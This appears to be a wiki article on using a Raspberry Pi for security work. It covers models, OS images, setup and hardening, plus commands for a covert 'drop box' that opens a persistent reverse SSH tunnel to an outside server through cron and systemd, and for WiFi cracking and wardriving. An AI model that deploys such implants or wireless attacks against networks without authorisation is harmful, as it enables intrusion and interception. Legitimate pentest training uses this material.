Raspberry Pi
3 min readArticle
The Raspberry Pi is a low-cost, credit-card-sized single-board computer running Linux. For security professionals it's a versatile tool — dropped inside a target network for remote access, used as a portable pentesting platform, wardriving kit, or just a cheap always-on server at home. The Pi 4/5 has enough power to run serious tools.
Models Worth Knowing
| Model | CPU | RAM | Notes |
|---|---|---|---|
| Pi Zero W | 1GHz single | 512MB | Ultra small, great for drop boxes |
| Pi Zero 2 W | 1GHz quad | 512MB | Better Zero, still tiny |
| Pi 4 | 1.8GHz quad | 1-8GB | Main workhorse |
| Pi 5 | 2.4GHz quad | 4-8GB | Latest, fastest |
| Pi 400 | 1.8GHz quad | 4GB | Built into a keyboard |
OS Options
- Raspberry Pi OS (formerly Raspbian) — default Debian-based
- Kali Linux for Pi — offensive security platform
- Ubuntu Server — for headless server use
- Diet Pi — minimal, fast boot, optimized
bash
# Flash an image
# Use Raspberry Pi Imager (from raspberrypi.com)
# Or with dd:
sudo dd if=kali-linux-arm64.img of=/dev/sdX bs=4M status=progress
sync
Initial Setup (Headless)
bash
# Enable SSH before first boot:
# In /boot partition, create empty file named 'ssh'
touch /Volumes/boot/ssh # macOS
# or on Linux:
touch /media/user/boot/ssh
# Set WiFi credentials (wpa_supplicant.conf):
cat > /boot/wpa_supplicant.conf << 'EOF'
country=US
ctrl_interface=DIR=/var/run/wpa_supplicant GROUP=netdev
update_config=1
network={
ssid="YourWifi"
psk="YourPassword"
}
EOF
# Then connect to Pi:
ssh [email protected] # Default password: raspberry
# CHANGE THE DEFAULT PASSWORD IMMEDIATELY
passwd
Essential Setup
bash
# Update everything
sudo apt update && sudo apt upgrade -y
# Install useful tools
sudo apt install -y vim tmux nmap netdiscover aircrack-ng \
net-tools wireless-tools curl wget git python3-pip
# Set timezone
sudo timedatectl set-timezone America/New_York
# Enable SSH permanently
sudo systemctl enable ssh
Pi as Drop Box (Remote Access)
The "drop inside target network" scenario. See raspberry-pi-remote-hacking-dropbox for the full setup, but the key components:
bash
# Reverse SSH tunnel — Pi connects to your VPS
# On Pi (add to crontab for persistence):
ssh -f -N -R 2222:localhost:22 [email protected] -o ServerAliveInterval=60
# Then from anywhere, SSH to VPS then to Pi:
ssh -p 2222 pi@localhost # on your VPS
# Or use autossh for automatic reconnection:
sudo apt install autossh
autossh -M 0 -f -N -R 2222:localhost:22 [email protected] \
-o ServerAliveInterval=60 -o ExitOnForwardFailure=yes
Pi as WiFi Hacking Platform
bash
# Install Kali on Pi, then add WiFi adapter
# USB Alfa AWUS036ACH works great with Pi
# Enable monitor mode
sudo airmon-ng start wlan1 # wlan0 = built-in, wlan1 = USB adapter
# Run wifite
sudo wifite
# Or run specific airodump
sudo airodump-ng wlan1mon
Pi as Wardriving Platform
bash
# Install Kismet
sudo apt install kismet gpsd
# Plug in USB GPS dongle
sudo gpsd /dev/ttyUSB0
# Start Kismet
sudo kismet -c wlan1
# Run headless, SSH in to monitor
# Logs saved to ~/
Persistent Reverse Shell (Pi Drop Box)
bash
# Create systemd service for reverse tunnel
sudo cat > /etc/systemd/system/reverse-tunnel.service << 'EOF'
[Unit]
Description=Reverse SSH tunnel
After=network.target
[Service]
User=pi
ExecStart=/usr/bin/autossh -M 0 -N -R 4444:localhost:22 [email protected] \
-o ServerAliveInterval=60 -o StrictHostKeyChecking=no
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
EOF
sudo systemctl enable reverse-tunnel
sudo systemctl start reverse-tunnel
Useful Pi Commands
bash
# Check CPU temperature (important for Pi 4/5 under load)
vcgencmd measure_temp
# Check power supply
vcgencmd get_throttled
# Available storage
df -h
# RAM usage
free -h
# Running processes
htop
# GPIO pin info
pinout # requires wiringpi
Security Hardening (If Running Permanently)
bash
# Change default password
passwd
# Disable pi user (create a new account)
sudo adduser adamjoron
sudo usermod -aG sudo adamjoron
# SSH key auth only, disable password auth
sudo nano /etc/ssh/sshd_config
# Set: PasswordAuthentication no
# Set: PermitRootLogin no
# Enable UFW firewall
sudo apt install ufw
sudo ufw allow ssh
sudo ufw enable
See Also
- raspberry-pi-remote-hacking-dropbox - Pi drop box / remote WiFi hacking project
- ../attacks/wireless-hacking/wifi-hacking/index - WiFi attacks from a Pi
- ../operating-systems/index - OS overview
techzonesite.comUnlock Your IT Potential